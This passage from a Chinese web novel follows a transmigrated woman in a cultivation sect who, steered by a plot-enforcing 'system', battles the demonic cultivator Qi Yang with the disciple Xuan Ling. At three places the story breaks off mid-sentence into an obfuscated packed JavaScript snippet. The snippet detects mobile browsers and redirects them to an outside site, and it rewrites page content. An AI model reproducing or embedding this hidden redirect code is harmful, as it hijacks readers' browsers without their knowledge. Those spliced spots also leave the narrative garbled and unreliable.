他眉头紧皱，看了眼自己微微颤抖的手，似乎不敢相信。 常栩怕齐洋发现端倪，抬头看去，却见他咬着手指在医馆内踱步，自言自语地念叨：“不让杀人……他不让我杀人？他凭什么不让我杀人？我做错什么了吗？” “他为什么和我作对？我明明没惹他，他却要来坏我的事，害我杀不了人……他们，是不是都看不起我？” 说到最后几个字的时候，齐洋的声调陡然升高，神态近乎狰狞。 与此同时，一团翻涌的黑气自他手中渗出，仿若黑蛇窜向角落的人群，钻入未及逃离的人体内。 “啊啊啊啊——” 凄厉的惨叫骤起，又戛然而止。挣扎的身体在顷刻间化为一摊血水，爆发出腥臭之气弥漫在整个医馆。 死一般的寂静之中，唯有齐洋满足地舒了一口气：“这才对、这才对……我就应该杀人……没错，我能杀人。” 常栩：“……” 即便是有心理准备，她还是被齐洋恶心到了，心中暗骂疯子—— 这家伙是个魔修，手上净是些阴毒残忍的杀人手段，生平唯一乐趣就是杀人，堪称不折不扣的变态。 与他相比，真正的魔族宣凌都显得纯白无瑕。 “都退下。”发泄一通之后，齐洋对黑袍人吩咐道，“这两个人，我要亲自动手。” 他看向宣凌，脸色阴寒：“都怪你多管闲事。我现在很不高兴，你们准备好被我杀死了吗？” 话音未落，齐洋的身影已瞬间靠近二人，杀气凛然。 好在宣凌早有准备，先一步替常栩挡下攻击，“铿”的一声，长剑对上弯刀，几息之间已多次过招，快的让人看不清。 常栩知道宣凌坚持不了多久，不由得心下焦急。 不出她所料，宣凌虽然用凝结的冰刃暂时打退齐洋，却也消耗了过多的灵力。他有些站不稳，不由自主地向后退去，用剑撑着才没有倒下。 常栩连忙上前扶住他。 刚碰到手臂，就感到一阵刺骨凉意从指尖传来，忍不住颤了一下，心想，这还是人的身体吗？ 齐洋也看出宣凌已是强弩之末，吊着嘴角讥笑道：“原来是个不堪用的病秧子，真是自不量力！我看你能坚持到几时。” “少废话。” 宣凌目光黑沉，随意地抹去嘴边血迹，丝毫不见示弱。 常栩了解这小子的脾气，也是个不服输的硬骨头。 她怕宣凌真的在这里和齐洋死磕，于是用力拉扯衣袖，试图让他冷静一些。 宣凌眉头一皱，略微低下头，看到少女眼中满是担忧和哀求，握剑的手指不自觉抽动了一下。 随后，他上前一步，反手将长剑横在身前，亮起浅蓝色光芒。空中的水气瞬间结成细密的冰晶，整齐划一地攻向齐洋。 齐洋知道宣凌实力不凡，凝神应对。他身后的黑袍人也不敢大意，挥动锁链砸碎冰晶。 倏然白光一闪，破碎的冰晶向四周飞散，同时形成森寒雾气。 医馆内的陈设顿遭破坏，众人躲闪之际，也扰乱了齐洋的注意力。 待到冰霜散去，齐洋的目光逡巡过医馆，却哪里还有宣凌和常栩的踪迹？ “可恶！卑鄙无耻的小人！” 齐洋出离愤怒了，发疯似的唤来黑袍人，让他们连夜搜捕永川镇找人。 他又在店内来回踱步，似乎想到了什么，伸手掐住店主的脖子，眉间阴云密布：“我只给你一次机会，快说，那两个家伙是什么人？” * 永川镇外的树林中，白光闪过，两道身影从半空坠下。 才不过短短的一段路，宣凌已经散失了大半力量。他半跪在地上，左手捂住嘴剧烈咳嗽，浓黑的血从指缝中渗出，滴落进泥土。 常栩赶紧爬起来，凑近观察宣凌的状况，发现他的一只眼睛已经变为血红的竖瞳——这是魔族的标志。 暗红色的眼底沉寂着浓稠的戾气与杀意，似乎随时要破土而出。 常栩心知宣凌的状态有异，不敢轻举妄动，轻声问道：“恩公，你现在怎么样了？” 宣凌没有说话。 随着魔气的消散，属于魔族的、最原始的嗜血冲动席卷而来，占据了他的意识。 宣凌盯着常栩，冰冷的手攀上女子细瘦的脖颈，只要稍微一用力，就能将她的骨头捏碎。 寒意与疼痛同时渗入血肉。 常栩不由得屏住呼吸。 但她没有躲避，反倒握住宣凌的手：“恩公，您不要吓我。我已经没了亲人，在这世间无依无靠，若是恩公再出什么事情，我可怎么办才好？” 说着，她的眼泪顺着脸颊，滴落到宣凌的指尖。 仿佛被灼烧一般，宣凌猛地回过神来，怔怔地看着常栩眼角的泪光。 随即，他缓缓松开手，身子一晃，向前倒去。 “恩公？” 常栩下意识伸手接住宣凌，任由他靠在自己肩上，试探性地呼唤。见他没有反应，确定已经昏过去了。 月光下，少年紧闭双眼，清秀的面容苍白虚弱，唇边染着血红，显得十分凄惨。 昏迷的宣凌脸上既无伪装的虚情假意，也无拒人于千里之外的防备冷漠，反倒瞧着温和了许多。 这让常栩的心中有些触动。 仔细想来，宣凌现在也才不过二十岁左右，可能比她这个研究生还要小上几岁，就要经历这些事情，也真是辛苦。 系统冷不丁道：【没记错的话，宣凌这个样子似乎是拜宿主所赐。】 常栩：“……” 她有些心虚，眨了眨眼睛，为自己辩解道：“我这也是为了活命，你那些任务风险太大，谁知道会出什么意外……” 【难道宿主的方法就没意外吗？】 常栩：“……你到底想说什么？” 系统道：【只是告知宿主，若您坚持不按剧情走，未来只会发生更多意外。】 冰冷的机械音像是提醒，又像是警告，回荡在脑海之中。 常栩轻叹一声，目光复杂地看向怀中的宣凌，袖子下的手不断摩挲匕首。 系统果然说到做到，并不会干涉她的行动。 此时此刻，就是杀宣凌的最好时机。功法受损的宣凌无力反抗，不论是心脏还是咽喉，都脆弱得不堪一击。 常栩也知道，只要杀了宣凌，她就能继续安心当许长生，不会再受系统任务的束缚，更不用担心随时会被杀掉。 可是—— 就在方才，宣凌不但替她挡下了齐洋的致命一击，还拼着重伤带她逃命。尽管，这只因为她是金蝶山庄的“幸存者”。 “唉。” 常栩叹了一口气，终究还是松开了匕首。 几乎在她放弃的同时，系统马上说：【恭喜宿主迷途知返！】 一向没有感情的机械音竟能听出几分活泼轻快。显然，它也怕常栩真杀了宣凌。 常栩嘴硬道：“我欠他一个人情，要是现在杀了他，岂不是成了趁人之危的小人了？这次就先不杀了。” 她将宣凌扶起来，远离道路，找了个隐蔽的地方，想等齐洋离开永川镇再做打算。 因为怕齐洋的人寻来，常栩不敢生火，也不敢睡觉，整夜守在宣凌身侧。 直到第二天清晨，她看到不远的城门处有群人聚在那里，起身揉了揉发麻的双腿，小心翼翼地靠近，探身观察。 几个女人哭得撕心裂肺，痛诉自家男人在出云医馆被杀，要去找苍华派的人主持公道。 旁边的人尚还心有余悸，皱眉喝到：“你们小声道！那齐洋可还没走远呢，不要命了吗！” “找苍华派有什么用？昨日被打跑的那个人，我看他身上有苍华派的标志，那又如何？还不是落荒而逃？” 路过的修士附和道：“这位朋友说的没错。那齐洋可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362894|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是一般人，我刚从城北回来，听说他抓了两个苍华派的人，还扬言要走一趟不息山……” 听见这话，常栩心头一跳，有种不好的预感。 等到人群散去，她趁机拦住那名修士，询问具体发生了什么。 修士见常栩只是个弱女子，遂放下警惕如实相告。 一个时辰前，齐洋正要离开永川镇，在城北遇见两个从金蝶山庄赶来的修士。也不知齐洋使了什么手段，那两个修士非但没能制服他，反遭擒抓。 常栩深呼一口气。 能在这时从金蝶山庄来永川镇的人，除了韩尚同和岳婉吟这对男女主，还能有谁？ 一个不留神，这剧情都歪到哪里去了！ 常栩心想，自打穿越以来，男女主的面她还一次没见过，不会就这样被齐洋这个小喽啰给杀了吧！ 修士说：“那齐洋走的时候叫嚣着要去苍华派讨公道，现下应该已经到了。” 系统也适时提醒：【宿主需要尽快救出韩尚同和岳婉吟，否则剧情将无法继续进行。】 常栩当然知道事情的严重性。 她现在最该做的就是赶紧回到常栩的身体，但是这头宣凌还在昏迷，总不能丢下他不管吧？ 没办法，在尝试唤醒宣凌无果后，常栩只得认命地背起他。 从永川镇到不息山并不算远，但对常栩而言简直难如登天。 这副脆皮女大学生的身体别说灵力，就是体力都少得可怜，更别说还背着一个男人。 一路上，她无数次后悔自己不听系统的警告，这下遭报应了。 行至半途，山路崎岖难行，常栩一不留神脚下踩空，要不是及时扶住旁边的树干，险些滚下山去。 也许是感受到颠簸，宣凌迷蒙睁开眼睛，意识不清地说了一句。 “是……谁……” 他手指微动，勾住了常栩腰间的小流苏，无意间抓在手中，又再次昏睡过去。 忙于赶路的常栩并未察觉宣凌的动作。她眯着眼睛抬起头，望着前方山门，只知道自己终于要到地方了。 这条山路平时很少有人，守门弟子正百无聊赖地打盹，就见一个瘦弱的女子背着浑身血迹的男子，缓步走上最后一层台阶，失去力气跌坐于地。 “快……他是你们苍华派的、师……师弟，快救救他……” 守门弟子闻言，拨开乱发仔细打量昏迷之人，很快认了出来：“……宣师弟？是宣师弟！小满师姐方才还在找他，发生了什么？” 他马上向后招呼其他弟子，有人抢上一步给宣凌把脉，大惊失色：“这是怎么一回事？宣师弟莫非中毒了？快、快带他去找穆蘅长老！” 众人意识到事态紧急，七手八脚地将宣凌抬起，很快化光飞远。 剩下的人惴惴不安道：“今天是什么日子？那边韩师兄出了事，这里宣师弟又这样！” “会不会也是那什么剪命人做的？这样一来，可就只剩下常师姐了……” 弟子们议论半天，才想起来那名将宣凌背来的女子，四下找寻，却发现不知何时已经离开，不见踪影。 * 苍华派正门，数名弟子执剑防备、严阵以待。对面的黑袍人则是不动如山，带来无形的压迫感。 齐洋一袭红衣迎风猎猎，分外扎眼。 他姿态疏懒，漫不经心看了眼对面出招的莫震宇，随意躲开。而后，手中弯刀快速翻转，眨眼之间，步步杀招。 苍华弟子少有实战，平日练习也是点到为止，何曾见过如此凶险的打法？ 莫震宇且战且退，一不小心疏于手上攻势，长剑脱手而出，随即掌风又至。 他一下子方寸大乱，躲闪不及，硬受一掌后蜷缩在地。 齐洋好整以暇地踩在莫震宇的腿上，欣赏片刻对方挣扎的模样，猛地压下去。 哀嚎声中，他仰起脸看向苍华派诸人，挑衅道：“我数三下，若是苍华派还无人敢出战——” “住手。” 5. 第五章 救场 不息山，昀秀峰。 陆小满站在房门外，不知第几次试图强行闯入，可当光芒散尽后，木门依旧纹丝不动。 旁边的明曦无奈：“大师姐吩咐过，任何人不许打扰。她的脾气你也知道，何必惹她不快……” 陆小满急得直跺脚：“现在不是说这个的时候！那个叫齐洋的都打上山来了，师姐最在乎苍华派的颜面，若是知道了，定然不会容忍！” 半个时辰前，自称“剪命人”的齐洋上山挑衅。 这段时间，掌门许平安闭关已久，虽有庚微和穆蘅二位长老坐镇，可那齐洋毕竟只是个无名小辈，若由长老出手，岂不是应了他那句“苍华无人”？ 是以，此次事端必须由弟子们自行解决。 现在的情况不容乐观。 韩尚同被抓，生死不知，小师弟宣凌因做任务不见人影，莫震宇不知道能抵挡多久。 陆小满已经和齐洋交过手了，知道来者不善，只好匆匆赶过来求助于许长生。 可明曦也没办法：“师姐设下的防护阵十分坚固，就凭你我，怕是很难破坏。” 眼见时间愈发紧迫，陆小满顾不得其他，直接扯着嗓子大喊“大师姐”，希望里面的人能够听见。 “陆师姐，昀秀峰不可喧哗！” 明曦大惊失色，连忙劝阻，可陆小满才不管这个，甚至运用灵力加大音量，简直震耳欲聋。 就在二人争执之际，“嘎吱”，紧闭了一天的房门终于有了反应。 常栩身穿玄金相间的长衫，缓缓走出房间，脸上除了惯常的严肃之外，还多了几分不易察觉的……疲倦？ 陆小满马上噤了声。她其实也有些打怵，但还是硬着头皮迎上前去，快速交代了有关齐洋之事。 明曦小心觑着常栩的脸色，怕她不高兴，小心解释道：“大师姐，事出紧急，还请您莫要怪罪。” “无碍。” 常栩自然不会在意这个，她微微颔首，便要踏足起飞。 随即又想到些什么，叫住陆小满，吩咐道：“你先去一趟穆蘅长老那里……” * 在赶往山门的路上，系统还不忘反复提醒:【请宿主注意，若是有苍华弟子被齐洋所杀，剧情将出现重大漏洞，难以继续进行。】 常栩不语，只一味加快速度。 她忽然感觉自己简直是个命苦的老黄牛，自打穿越以来就没一刻清闲…… 意外的是，当常栩赶到苍华山门的时候，已经有别人早一步出手了。 青衫少年一身矜贵之气，身形轻盈矫健，手上剑风克制而凌厉，招式游刃有余，竟然逼得齐洋步步后退。 常栩大为惊奇，很快反应过来，这少年应该就是掌门座下三弟子，沈星河。 苍华派出了名的“剑痴”，生性固执，为了磨练剑术常年将自己藏匿在后山竹林修炼，除了掌门和韩尚同谁都寻不到他的踪迹。 真没想到，沈星河会在这时候出现。要知道在原著中，他还得等到韩尚同进后山刷副本才第一次登场。 常栩赶紧询问系统这算不算剧情漏洞。 系统过了一会儿才回复：【检测为合理范围内的剧情修正。】 那就好。 常栩放心了，既然有沈星河对付齐洋，那她正好以逸待劳。 场上，苍华弟子们全部屏气凝神，注视着沈星河与齐洋的对决。 两道身影在半空中缠斗良久，马上就要有结果了。 沈星河周身灵气厚重，犹如巍峨高山，纵使齐洋功法诡谲，在他面前却无法寻得机会，逐渐落入下风。 齐洋顺风顺水久了，没想到会遇到这么强的对手，一时之间乱了章法，被沈星河的长剑划破手臂。 他手上的弯刀应声掉落。 沈星河飘然回到地面，手上剑尖指着齐洋，只说了两个字：“离开。” 显然，他并不打算赶尽杀绝。 盯着被划伤的手臂，齐洋幽幽道：“沈星河是吧？听说你是苍华派的天才。我啊，最讨厌你这种人了，好像天生就高人一等。” “我倒要看看，你与我有何不同。” 说罢，齐洋从腰间抽出另一柄长刀。 他腾跃而上，阴冷的目光紧盯着沈星河，每一次攻击都凶险致命。 沈星河眉头微皱。 他感受到对方似乎很生气，却不知道这怒从何来，古井般的目光中流露出些许疑惑。 但沈星河性子沉稳，并未因齐洋的猛烈进攻而退却，仍是岿然不动，牢牢挡在齐洋的前方。 毫无意外的，数十招之后，齐洋又被打得后退几步。 沈星河再次停手，对他说：“离开。” 齐洋甩了甩发麻的手臂，歪头看着沈星河，忽地笑了。 而后，他竟然放弃了防守，不管不顾地冲到沈星河身前，持刀一味莽攻。 这样大开大合的动作自然很快有了破绽，心口处顿时空门大开，露出致命的关窍。 然而沈星河本就无意杀人，他手上剑招一顿，下意识地避开了。 紧接着，他听到齐洋凉凉道：“你输了。” 就在沈星河收招的瞬间，早有准备的齐洋反手偷袭，长刀同时刺入他的腹部！ 沈星河闷哼一声，瞳孔微震。 伤口处的疼痛犹如虫噬，顷刻间蔓延四肢百骸。 沈星河意识到自己中计了，当机立断，借力翻身倒向齐洋右侧方，拎起地上的莫震宇，运剑打向齐洋，乘隙闪身退回人群。 齐洋身后的黑袍人却在此时出手，甩出锁链，阻绝了他的退路。 “哗啦”一声，沈星河被打中背部，再也无力支撑，同莫震宇一起跌倒于地， 围观的弟子们纷纷发出惊呼。 “沈师兄！” “齐洋！你这个卑鄙小人！” 齐洋好整以暇地收回刀，轻蔑的目光扫视一周，最后看向沈星河，讥讽道：“你为什么收手？不就是看不起我吗？” “想当好人，就该好好享受好人的下场。” 他甩了甩长刀上的血迹，缓步逼近。 突然，一股沛然之力自天边席卷，携带着炽热逼人的火焰，以排山倒海之势攻向齐洋！ 齐洋正兀自得意，愣了一下，后知后觉地横刀抵挡，却几乎没有效果，登时被烟尘击中，退后数十丈。 而后，一名玄金衣衫的女子手持黑剑从天而降，护在沈星河身前，倨傲的眉眼冷冷睥睨黑袍人，仿佛在看蝼蚁。 “胆敢挑衅苍华派，你们罪无可恕。” 本还在提心吊胆的苍华派弟子看到来人，转瞬间喜上眉梢，纷纷高喊：“师姐！是许师姐！” “大师姐终于来了！” 欢呼声中，逆着光的沈星河抬眸仰视，只觉这抹亮眼的金色格外夺目，一时有些怔住了。 常栩持黑色长剑负手而立，面无表情地看着对面，端的是一副高人做派。 实际上她心里根本没底，满腹怀疑地问系统:“你老实说，我真能打败齐洋吗？” 须知她才穿越来一天，满打满算也就当了五个时辰的的许长生，和这具身体真不熟，更别提修为功法了。 不会等下被齐洋打死吧？那可真就贻笑大方了！ 系统：【请宿主放心。根据本系统评估，齐洋并非您的对手。】 听它说得如此确定，常栩稍微放下心来。 她先挥手将沈星河两人送到安全的地方，看向齐洋，冷冷道：“哪里来的宵小之徒，不息山岂容你等放肆。” 炽热的烟尘散尽，听到周围此起彼伏的“师姐”，齐洋眯起眼睛，饶有兴致地打量眼前女子。 “苍华派的小暴君许长生？久仰大名，果真不同凡响。” 齐洋随手扑灭了衣袖上燃起的火苗，微笑着说：“你的这群师弟师妹太不中用了，我替你教训他们而已，想来你应该不会在意吧？” 原著中的许长生确实不在乎，可常栩这几天被齐洋恶心得不行，新仇旧怨一起算，自然没有好脸色。 她道：“苍华派的人，行与不行，我说了算。哪里轮得到你一个邪魔外道？” 齐洋神情一滞：“都说许长生信奉强者为王，还以为你会理解我。邪魔外道又如何？你看这些名门正派，不还是被我踩在脚底下吗？” 常栩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362895|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他的话不以为然，扬起下巴：“齐洋，你还不配与我许长生相提并论。你这种人为了修炼出卖灵魂、蝇营狗苟，算什么强者？徒惹人厌罢了。” 字字锥心。 “你说什么？” 齐洋脸上的笑容剥落，闪过一瞬的难堪。 他的双眼不受控制地看向周围。众人的目光各有不同，却并无多少惧怕，更多的是嫌弃和厌恶。 齐洋面容抽搐着，仿佛是被人打中七寸：“许长生，你是不是——” “没错，我就是看不起你。” 常栩还记着出云医馆的一箭之仇，轻蔑地说：“齐洋，你放肆太久了。今日，既然来了不息山，就休想在离开。” 此话彻底惹怒了齐洋。 不出常栩所料，暴怒的齐洋根本控制不住自己的情绪，如同失了理智一般，手上长刀急攻常栩，脸上全是狰狞的杀气。 “许长生，我一定要杀了你！” 常栩早有准备，跃身化作残影掠到空中，抬手挥出配剑。 这是她第一次使用许长生的功法——灼华令。 幽蓝的焰火随着黑剑变换、流转，同细密的剑气交错在一起，融合成漫天的白日星光，将齐洋的攻击寸寸消磨。 似是与生俱来一般，充沛的灵力环绕周身，无形中与意念相融，成为一股得心应手的力量。 转瞬之间，无需再询问系统，常栩已经清楚地意识到，自己真的能赢。 苍华派的许多弟子还是初次见识许长生的功法，看她如此从容不迫，四两拨千斤就化解了齐洋的诡谲杀招，不禁心生敬佩仰慕。 负伤的沈星河在人群中遥望常栩的背影，久久未曾移开目光。 常栩手中的剑如同一道迅猛的蓝色电光，几次三番在齐洋的身上留下伤口。 齐洋的修为本就浅薄，并不是常栩的对手，早该败下阵来。但奇怪的是，他似乎完全不受影响，招式依然凶狠。 渐渐地，常栩心头的怪异之感越来越强烈。 直到她用剑刺穿齐洋的腹部，却见他的动作没有丝毫迟滞，也无半点血迹从伤口处流出，方才恍然大悟。 与此同时，齐洋阴恻恻地说：“想杀我？凭你还做不到！” 伴随这句话，常栩看见他的腹部不断浮现出黑紫之气，笼罩在伤口上，竟将血肉一点点修复、弥补。 这是尸气。 常栩心中了然。这齐洋不仅入了魔道，还是一名尸修。他将自己的躯体炼化为活尸，兼有魔气护体，寻常功法很难伤到他，所以才如此嚣张。 难怪沈星河会着了他的道。 也难怪在原著中，作者会安排宣凌与韩尚同合力杀他…… 好在，常栩有所准备。 弥漫着云雾的天际，有三道人影正徐徐飞至。 齐洋也留意到有人来了，心知形势已然大为不利。 虽然不甘未能杀掉许长生，但他一向惜命，敏锐地做出决断，且战且退，准备撤离。 常栩早防着他这一手，闪身横剑挡住齐洋的去路，道：“哪里去？你伤我门派弟子，这笔账还没算呢。” 齐洋恶狠狠地瞪着常栩，目光几乎能吃人。 但他根本找不到对方的破绽，只觉那股灼热的风让人无法靠近，不由得更加焦急。 常栩只是含笑看他。 下一刻，齐洋察觉到身后有什么人在慢慢靠近，不过灵力十分微弱，对他造不成威胁。 此刻的他一心摆脱常栩的纠缠，连头也没回。 “别白费力气了，你们根本——” “噗呲”一声，长剑刺进齐洋毫不设防的背部。 浓黑的血液顺着剑身流淌，沾染了持剑之人的衣袖。 齐洋体内苦修而来的魔气顷刻消失大半，伤口非但没有愈合，反而迅速扩大，还蔓延出更多细小的血丝，寸寸皲裂。 不待他做出反应，另一柄漆黑的长剑也从身前插入心口。 尸气与魔气一同逸散而出。 隔着满脸不可置信的齐洋，常栩抬起眼眸，对上了宣凌略显森冷的目光。 咫尺之间，她清楚地感受到少年心中的杀意。 6. 第六章 威望 齐洋呕出一大口血，踉跄着转身，看到偷袭之人的模样，目眦欲裂：“是你！你做了什么！” 宣凌并没有理会齐洋。 他垂下眼眸，收敛了投向常栩的目光，不动声色地将魔气吸入掌中。 齐洋似乎意识到什么，猛地挥手，一掌打在宣凌的胸口。 宣凌早有提防，借势拔出剑，看上去却像是不敌一般，被震得后退几步。 随后，齐洋的身体也支撑不住，如同断了线的风筝一般，直直地砸向地面。 下方，身着月白色长衫的女子唤道：“宣凌！你身体还没好，快回来！” “我知道了，穆蘅长老。” 宣凌捂着胸口乖巧应声，恭恭敬敬地对常栩说：“既然大师姐已经制服歹人，宣凌就不打扰了。” 常栩：“……” 这小子变脸真快。 她非常确信，方才那一瞬间，宣凌绝对打算杀了她！ 常栩心里越想越气，一腔悲愤化为剑意，呼啸着打到齐洋身上。 这一套连招下去，地面上很快便满目疮痍。巨大的深坑里，齐洋无声无息地趴在中间，不知是死是活。 一旁的陆小满目瞪口呆。 她本来还想问常栩要不要帮忙，现在看来似乎没这个必要了。 片刻之后，常栩发泄完了，这才冷静下来，气定神闲地收回佩剑，缓缓落到地面。 陆小满赶到她身边，关切道：“师姐，您怎么样了？可需要我做些什么？” 说话间，坑中的齐洋竟然还有动作，似是想要站起来。陆小满一惊，将手放在剑柄，警惕地盯着他。 “已经无事了。” 常栩摆摆手，示意陆小满不必大惊小怪。 毕竟，齐洋的魔气已经被宣凌夺去，造不成什么威胁了。 看着齐洋仍在蠕动的身体，常栩不禁感叹，不愧是能阴一把韩尚同的角色。 若非有宣凌在，她还真不知该如何对付他。 说起来，常栩原本以为还要再拖延一会儿，没想到宣凌能这么快苏醒，穆蘅长老不愧是苍华派的医疗圣手。 众弟子们见齐洋已被打败，各自忙碌起来，有的找穆蘅长老疗伤，有的向山上传递消息。 还有一些弟子自觉结成队伍，拦住了余下那些试图逃跑的黑袍人。 常栩的目光则落在坑中，看到了齐洋掉落的长刀，眉头一挑，运功将其收入怀中。 不远处，齐洋还在挣扎，他几次三番试图起身，然而身体歪歪扭扭的，根本不受他控制，烂泥一般反复倒下。 常栩想到齐洋先前嚣张的模样，含笑道：“齐洋，你来说一说，现在谁才是强者？被人踩在脚下的滋味如何？” 齐洋那张原本还算端正的脸变得扭曲，眼珠几乎要瞪出眼眶，直勾勾地盯着常栩：“你、你为什么能……呃……我不服，我不服！” 呵呵，谁叫你是炮灰呢。 不过常栩并不同情他，这家伙可是害了不少人，死几次都不为过。 问题是该怎么杀他…… 这时候，几名弟子前来禀告：“大师姐，那群黑袍人交代韩师兄和岳姑娘的下落了，我们现在就去……” 常栩点了点头，瞥见正在人群中调息的宣凌，心念一动：“等一下。让宣凌和你们一同前去。” 宣凌的动作一顿，侧身看过来。 穆蘅闻言皱眉，不赞同道：“不行，他的伤还没——” “哦？”常栩直勾勾地盯着宣凌，“宣师弟，你现在感觉如何？” 宣凌只道她又在针对自己，见怪不怪，微笑答道：“无碍，多谢师姐关心。我这就去找韩师兄。” 常栩暗自摇头，觉得宣凌不懂自己的良苦用心。 但没关系，只要宣凌顺利见到他的心上人岳婉吟，剧情就能够回到正轨。 届时，自己也就不用这么辛苦了。 常栩自觉即将完成第二个任务，离胜利又近了一步。 那么现在，唯一要解决的只剩下齐洋了。 常栩再次看向半死不活的齐洋。 这小子在原著中应是死于韩尚同和宣凌之手，现在要是由她杀掉，会不会对剧情有什么影响？ 还是说等韩尚同回来再让他动手？ 常栩摸不准系统所说的“合理范围”的边界，一时之间有些犹豫。 就在她低头思索之际，齐洋的身体骤然衰败下去，涌现出墨绿的尸气。 他猛地挣扎起来，却难以阻止身体上伤口的扩大和溃烂，明显感到意识一点一点剥离。 “怎么会这样……不、我怎么会死？师傅、师傅救我……我不想死……我还没有报仇，我还没有杀够，怎么能……” 齐洋的瞳孔渐渐涣散，映照出周围弟子们各异的神色。 他不知想到了什么，用最后的力量在地上爬，指甲翻出血来，依然想要爬走，满是不甘。 “不要、不要这样看我……我只是想和你们一样，你们为什么都瞧不起我？对，只要我变强了，就没有人敢欺负我了、就没有人——” 在场众人都感受到齐洋冲天的怨气，一时寂静无声。 忽然，人群后面传来一声高喊：“师姐小心！” 几乎同一时间，齐洋倒下的身躯破碎无形，化为一道蠕动的黑气冲向众人！ 常栩反应过来，与穆蘅长老一起出手，纯阳的金光乍起，形成坚固的屏障，护住了全无防备的弟子们。 就在这短短的弹指间，黑气迅速变换方向，以迅雷之势冲向悬崖，没入下方的万丈深渊，逸散逃走。 “可恶！” 陆小满正要去追，被常栩拦了下来。她摇了摇头，说：“来不及了。” 众弟子回归神来，惊魂未定地看向四周。随后，有几个人喊道：“韩师兄回来了！” 人群很快让出一条道来。 常栩循声望去，看到宣凌身旁站着一名男子之时，脸上的神情差点失控。 韩尚同！ 她忍不住赞叹，不愧是本书第一男主！这张脸，刚毅俊朗，龙章凤姿不能形容一二！这身姿，高大挺拔，兼具力与美，魅力十足！ 更重要的是，许长生喜欢韩尚同！ 常栩强迫自己收回目光，感觉再多看两眼，她都要被男主光环俘获了。 相比之下，还是宣凌更让人有亲切感，虽然那小子是装的…… 韩尚同自然不知道常栩心中的复杂思绪，见她面无表情，主动解释道：“齐洋功法诡谲，说来惭愧，我就是被他这一招暗算了，连岳姑娘也……” 顺着他的目光，常栩才看到一名女子正被他背在身后，垂着头，似乎昏迷了。 穆蘅走近查探岳婉吟的情况，面色逐渐凝重，二话不说便带着她先一步离开。 望着穆蘅离去的背影，常栩感觉好像没自己什么事了，正打算回昀秀峰。 只见韩尚同走到她面前，“扑通”一声跪下，面色坚毅：“大师姐，韩尚同失察为歹人所害，有辱苍华名声，还请师姐责罚。” 随后，仿佛多米诺骨牌一样，其余弟子们自觉垂下头，纷纷跟着跪在地上。 “请师姐责罚！” 常栩：“……” 她双手一抖，险些把剑给扔了。 不是，许长生之前都做了些什么啊？瞧把孩子们吓的，真不愧是苍华派的小暴君！ 常栩没见过世面，身边的陆小满可是见怪不怪，上前一步、双手叉腰，一副颐指气使的模样。 她先是质问韩尚同为何被抓，明明那齐洋的修为根本不及他！然后又说宣凌怠懒，关键时候找不到人影！ 韩尚同自觉有错，并不为自己辩解。宣凌则垂着眼睛一言不发，也不知道听进去没有。 常栩由衷为陆小满捏了一把汗。 韩尚同也就罢了，这宣凌可是个小心眼的，得罪他的最后可都没有好下场…… 没必要，真没必要。 反正这一幕也不在剧情之内，常栩不用担心崩人设，开口打断陆小满，让她先退下。 众人的头垂得更低了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362896|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按照以往的经验，这种情况下，许长生少不得要将他们挨个数落一顿。 可这次，常栩只淡淡道：“行了，你们都回去休息吧。” 说完，她唤起佩剑，悠然飞走。 弟子们：“……” 这就结束了？没有责骂，也没有踢打？ 太阳打西边出来了！ 狐假虎威的陆小满见常栩离开，顾不上继续训斥，忙追了上去，不理解师姐为啥没责骂这两个惹事儿的人。 剩下的弟子们松了一口气，都觉得今天的师姐力挽狂澜、不怒自威，颇有宗师风范，心下更加敬佩。 韩尚同虽也觉得奇怪，但他挂心岳婉吟，没有多想，与宣凌交代几句之后就要去找穆蘅长老。 “岳姑娘是因我才受伤的。她救了我，与我有恩，我不能不管她。” 待到人群渐渐散去，只有宣凌仍然站在原地。他缓缓低下头，看向手中的流苏，若有所思。 另一边，回昀秀峰的常栩听到系统通报：【由于宿主霸气外露的一番操作，您的威望值+30，羁绊值＋10，请注意查收！】 她有些摸不着头脑。 这又是哪里冒出来的东西？ 系统解释道：【威望值是宿主触发结局的关键数值。】 原著里岳婉吟死后，宣凌也跟着失踪，只剩下许长生在韩尚同身边嘘寒问暖，成功骗得韩尚同与之成亲。 正是在这场婚礼上，黑化堕魔的宣凌再次出场，揭露许长生杀人夺夫的罪行。 许长生就此身败名裂，落入宣凌之手，不久被折磨惨死。 系统：【身败名裂判定标准为：短时间内威望值下降200以上。请注意，威望值过高，你身败名裂的效果越差，可能到时候完不成任务哦。】 常栩：“……” 垃圾系统！ 连这个都要判定，还不如杀宣凌来得痛快！ 